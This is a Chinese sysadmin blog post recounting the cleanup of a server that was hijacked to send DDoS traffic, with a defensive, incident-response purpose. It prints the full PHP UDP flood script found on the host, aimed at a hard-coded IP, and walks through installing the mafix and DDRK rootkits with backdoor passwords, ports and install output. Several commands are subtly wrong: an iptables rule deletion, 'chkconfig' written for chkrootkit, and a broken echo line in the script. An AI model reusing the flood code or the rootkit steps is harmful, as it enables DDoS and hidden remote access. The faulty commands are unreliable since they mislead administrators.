记录一次服务器被攻击时的处理过程 - 运维那点事

https://www.modb.pro/db/62397

好久没有发文章了,主要是觉得微信不适合发技术性文章,整体排版看上去比较乱。尽量多发一些理论性的和工作中遇到的问题。今天分享一次被攻击处理的思路。

特此声明,此篇文章只是分享一下服务器被攻击时的处理思路,并没有什么技术含量的东西。此次攻击是服务器被当成肉鸡了一直DDOS外部网站,事情不大,但影响甚大,因为此主机不光负载过高,并且跑了1G的带宽,影响可想而知。

故事开始:2016:10:27 17:14

接收到反馈出口带宽异常,同时接收到服务器带宽占用报警,我们所有主机都是加有基础监控模板的(Zabbix监控系统)。下面是流量监控报警图,大于50M报警:

img

所以很快定位到了某主机异常,马上上监控看了流量图:

img

从监控可以看出,带宽跑了1G且都是往外发包。

故障处理:2016:10:27 17:16

第一件事,立马对此机器进行断网处理,这个要看业务重要性来决定了。因为这样立马能够解决这个问题,而来给排查留下时间。

上了机器之后,第一件事就是top -c一下,既然往外发包就必然会产生进程,结果如下:

img

这是比较理想的一种方式,因为此进程负载高,所以可以一眼看出,且进程没有伪装。

但是比较操蛋的是,不管是top -c还是ps aux都是只能看见进程,而看不见进程执行的绝对路径。这个时候查找php.php这个文件有三种简单的方法:

第一种:find

$ find / -name "php.php"

find命令用于查找文件,在目录结构中搜索文件,并执行指定的操作。此命令提供了相当多的查找条件,功能很强大,但是慢。

第二种:locate

$ locate php.php

locate命令用于查找文件,它比find命令的搜索速度快,但是时效性没有find好。因为它需要一个数据库,这个数据库由每天的例行工作(crontab)程序来建立。当我们建立好这个数据库后,就可以方便地来搜寻所需文件了。

所以你可以即先运行:updatedb(无论在那个目录中均可,可以放在crontab中 )后在/var/lib/slocate/下生成slocate.db数据库即可快速查找。在命令提示符下直接执行updatedb命令即可。

第三种:ll /proc/PID/exe

Linux在启动一个进程时,系统会在/proc下创建一个以PID命名的文件夹,在该文件夹下会有我们的进程的信息,其中包括一个名为exe的文件即记录了绝对路径,通过ll或ls -l命令即可查看。Linux查看进程运行的完整路径方法:http://www.ywnds.com/?p=6880

所以有了这么几种方法后,我们可以快速找到php.php文件,所以此时也就可以把进程给kill了,或者发现时kill也行。下面就是分析一下这个php.php文件了,上脚本:

<?php  
$packets = 0;  
#$ip = $_GET['ip'];
$ip = '211.152.5.57';
#$rand = $_GET['port'];  
$rand = 80;  
set_time_limit(0);  
ignore_user_abort(FALSE);  
#$exec_time = $_GET['time'];  
$exec_time = 60*60*24;  
$time = time();  
print "Flooded: $ip on port $rand <br><br>";  
$max_time = $time+$exec_time;  
$out = '';
for($i=0;$i<65535;$i++){  
    $out .= "X";  
}  
while(1){  
    $packets++;   
    if(time() > $max_time){  
        break;  
    }  
    $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);  
    if($fp){  
        fwrite($fp, $out);  
        fclose($fp);  
    }  
}  
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". /s \n";  
?>  

大概意思就是一直对一个IP的80端口进行发包,建立套接字连接导致服务器负载过高的同时,往外大量发包。

线索排查:2016:10:27 17:20

问题解决了,接下来就是分析为什么会被挂马,首先查看这几种主要日志(一般都会被人清除的):登录日志(包括失败和成功)、历史操作命令、还有消息日志和安全日志都可以看一看。最重要的是看看有没有潜藏有用户,其实一般这种机器都会下架处理。

我们这边由于不是那么规范,每个机器都有大量用户登录,所以这个不太好排查。也没有审计工具之类的,只能把最近登录用户拉出来看看有没有离职用户还遗留有账号。

安全这个东西需要一套规范的制度来严格控制,且需要有专业的安全人员来处理,以黑客的视角定能查出不一样的线索。毕竟我不是从业安全的,所以只能搞定这么多了。

如何防护?

其实这种服务器被人当肉鸡主动DDOS别人的攻击,如果只是简单的防护,我们强大的iptables都能搞定。

$ iptables -D OUTPUT -s 0.0.0.0/0 -d 0.0.0.0/0 -m state --state established -j ACCEPT
$ iptables -P OUTPUT DROP

大概意思就是只允许已经建立网络连接的用户从OUTPUT出去,针对所有的主机和协议。也就是说你的主机是不允许主动像外发送数据包的,只有别人请求自己时才可以往外发送数据包,避免DDOS别人。当然,这么设定之后是你连ping外部主机和上网都是无法进行的。如果对Iptables感兴趣可以细看Iptables章节。

借此话题延伸一下mafix、rkbunter、chkrootkit工具

上面大家也看到了,我们top -c立马就发现了可疑的进程,所以说我们是幸运的。那么还有常见的3种极端情况:

1)不能够很快发现可疑进程,但进程确实存在,伪装的较好;这个时候就可以使用流量监测工具,如iftop这种能够分析哪个进程占用流量较大,然后再去逐步排查。

2)无法找到此进程,一般服务器被黑,很多命令或进程都会被隐藏起来,使用top、ps这种工具根本发现不了,一般对安全了解不多的上去发现不了进程根本无法下手。

3)找到进程,但是确找不到被执行的脚本文件,当然可能进程和文件都找不到。

那么这种隐藏进程和文件怎么实现呢?这就需要涉及到后面介绍的工具了。

第一:Rootkit

Rootkit是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用。Rootkit通过加载特殊的驱动,修改系统内核,进而达到隐藏信息的目的。Rootkit必备的基本功能,包括提供root后门,控制内核模块的加载, 隐藏文件,隐藏进程,隐藏网络端口,隐藏内核模块等。Rootkits通常分为:应用级别—内核级别—-硬件级别。

Rootkit是一种奇特的程序,它具有隐身功能:无论静止时(作为文件存在),还是活动时,(作为进程存在),都不会被察觉。换句话说,这种程序可能一直存在于我们的计算机中,但我们却浑然不知,这一功能正是许多人梦寐以求的——不论是计算机黑客,还是计算机取证人员。黑客可以在入侵后置入Rootkit,秘密地窥探敏感信息,或等待时机,伺机而动;取证人员也可以利用Rootkit实时监控嫌疑人员的不法行为,它不仅能搜集证据,还有利于及时采取行动!

Rootkit的目的在于隐藏自己以及不被其他软件发现。它可以通过阻止用户识别和删除攻击者的软件来达到这个目的。Rootkit 几乎可以隐藏任何软件,包括文件服务器、键盘记录器、Botnet 和 Remailer。许多 Rootkit 甚至可以隐藏大型的文件集合并允许攻击者在您的计算机上保存许多文件,而您无法看到这些文件。

关于rootkit高级玩法请移步:githup

下面我们来玩一款应用级的rootkit工具mafix。

第二:Mafix工具

Mafix是一款常用的轻量应用级别Rootkits,是通过伪造ssh协议漏洞实现让攻击者远程登陆的,特点是配置简单并可以自定义验证密码和端口号。通过Mafix登录进主机后就可以任意操作主机了。其实Mafix就是很典型的应用级Rootkit,是批量替换系统命令来实现的,但因为要替换大量系统命令所以需要root用户才可以使用。

这后门很贱,以前服务器中过一次,所以足够引起你的重视。

下载安装mafix。

$ tar xvf mafix.tar.gz

查看一下怎么使用mafix。

$ cat /mafix/HOW-TO 
no need to explain how to get it done
./root password port
and you are good 2 go
~mafix

执行root后面跟上密码和端口(这个root文件就是一个shell脚本,有兴趣可以读一遍)。

$ ./mafix/root 123456 23
		- the ferrari of rootkits - 
mafix! >  extracting libs...
mafix! >  backdooring box...
grep: /etc/syslog.conf: No such file or directory
mafix! >  no remote logging found...
mafix! >  no tripwire was detected..
mafix! >  installing trojans...
mafix! >  hold on...
mafix! >  Password: 123456
mafix! >  Port: 23
mafix! >  backdoored some daemons (netstat, ps)
mafix! >  checking for some vuln daemons....
mafix! >  sysinfo:
eth0: error fetching interface information: Device not found
mafix! > hostname : chenquan-test1 ()
mafix! > arch: 2015 -+- bogomips : 4199.98
4199.98 '
mafix! > alternative ip:  10.0.60.143 -+-  Might be [1 ] active adapters.
mafix! > dist:  CentOS release 6.8 (Final)
mafix! > cleaning up some traces... done!

执行完这个命令后,你的安装包就会被自动删除了。然后这个mafix的执行程序是/sbin/ttyload,你需要知道的。

接下来你就可以远程连接过来了,用户root,密码123456,端口23,且这个用户在/etc/passwd中是没有的。登录后如下图:

img

登陆帐号已经变成了root。

第三:DDRK工具

ddrk(DoDo’s Rootkit)是一个Linux结合shv和adore-ng优点的,内核级的rootkit。

$ tar xvf DDRK.tgz 
ddrk/rk.ko      #adore-ng编译后的内核模块,实现文件,进程隐藏功能;
ddrk/netstat    #替换系统的netstat,从ssh配置文件中读取端口,并隐藏;
ddrk/tty        #adore-ng带的ava工具;
ddrk/setup      #rootkit安装主文件;
ddrk/bin.tgz    #sshd主程序和sshd配置文件;

使用方法

./setup 123456 24

如果不设置用户名和端口,那么setup会利用文件里默认的用户名和密码安装。安装以后,使用ssh客户端远程连上此端口,使用用户名root,密码为设置的密码。登录后可以查看隐藏效果。使用W看当前登录用户,只有本地用户;查看进程和端口号应该都查不到。

第四:Rkhunter工具

Rkhunter的中文名叫“Rootkit猎手”, 目前可以发现大多数已知的rootkits和一些嗅探器以及后门程序。它通过执行一系列的测试脚本来确认服务器是否已经感染rootkits,比如检查rootkits使用的基本文件,可执行二进制文件的错误文件权限,检测内核模块等等。

EPEL源安装rkhunter即可。

$ yum install rkhunter

安装后就可以使用rkhunter命令了,下面列出有用的参数:

--checkall (-c)           #全系统检测,rkhunter的所有检测项目;
--createlogfile           #建立登录档,一般预设放在/var/log/rkhunter.log;
--skip-keypress           #忽略按键后继续的举动(程序会持续自动执行);
--versioncheck            #检测试否有新的版本在服务器上;

接下来运行rkhunter –checkall,连续敲击回车,数分钟后得到报表,如图:

$ rkhunter --checkall
System checks summary
=====================
File properties checks...
 Required commands check failed
 Files checked: 143
 Suspect files: 9
Rootkit checks...
 Rootkits checked : 390
 Possible rootkits: 3
 Rootkit names : cb Rootkit, SHV4 Rootkit, SHV5 Rootkit
Applications checks...
 All checks skipped
The system checks took: 27 minutes and 59 seconds
All results have been written to the log file: /var/log/rkhunter/rkhunter.log
One or more warnings have been found while checking the system.
Please check the log file (/var/log/rkhunter/rkhunter.log)

我们从分析报告可以看出,Rkhunter怀疑被篡改的文件有9个,怀疑rootkits有3个,具体再去/var/log/rkhunter/rkhunter.log中查看。

Rkhunter拥有并维护着一个包含rootkit特征的数据库,然后它根据此数据库来检测系统中的rootkits,所以可以对此数据库进行升级,rkhunter –update

$ rkhunter --update
[ Rootkit Hunter version 1.4.2 ]

那么简单来讲,RKhunter就像我们的杀毒软件,有着自己的病毒数据库,对每一个重点命令进行比对,当发现了可疑代码则会提示用户。

第五:Chkrootkit工具

当然如果只是用Rkhunter检查扫描还是不够权威,再来安装一款检查下吧,chkrootkit是一款小巧易用的Unix平台上的可以检测多种rootkit入侵的工具。它的功能包括检测文件修改、utmp/wtmp/last日志修改、界面欺骗(promiscuous interfaces)、恶意核心模块(maliciouskernel modules)。

chkrootkit 在监测 rootkit 是否被安装的过程中,需要使用到一些操作系统本身的命令。但不排除一种情况,那就是入侵者有针对性的已经将 chkrootkit 使用的系统命令也做修改,使得 chkrootkit 无法监测 rootkit ,从而达到即使系统安装了 chkrootkit 也无法检测出 rootkit 的存在,从而依然对系统有着控制的途径,而达到入侵的目的。那样的话,用 chkrootkit 构建入侵监测系统将失去任何意义。对此,我 们在操作系统刚被安装之后,或者说服务器开放之前,让 chkrootkit 就开始工作。而且,在服务器开放之前,备份 chkrootkit 使用的系统命 令,在一些必要的时候(怀疑系统命令已被修改的情况等等),让 chkrootkit 使用初始备份的系统命令进行工作。

使用EPEL源安装chkrootkit即可。

$ yum install chkrootkit

接下来使用命令make sense来安装软件即可。

运行命令./chkconfig grep INFECTED,搜索被感染的文件。
$ chkconfig | grep INFECTED

通过上面两款工具的检查,已经确信了服务器被入侵的事实,但已经考虑到核心级rootkits是使用了LKM技术,而且系统中已经有大量的数据被修改且一般的木马后门隐蔽性毕竟高,为了保险起见还是要重新做系统。


如何查看应用的nice值 Linux 删除虚拟网卡/网桥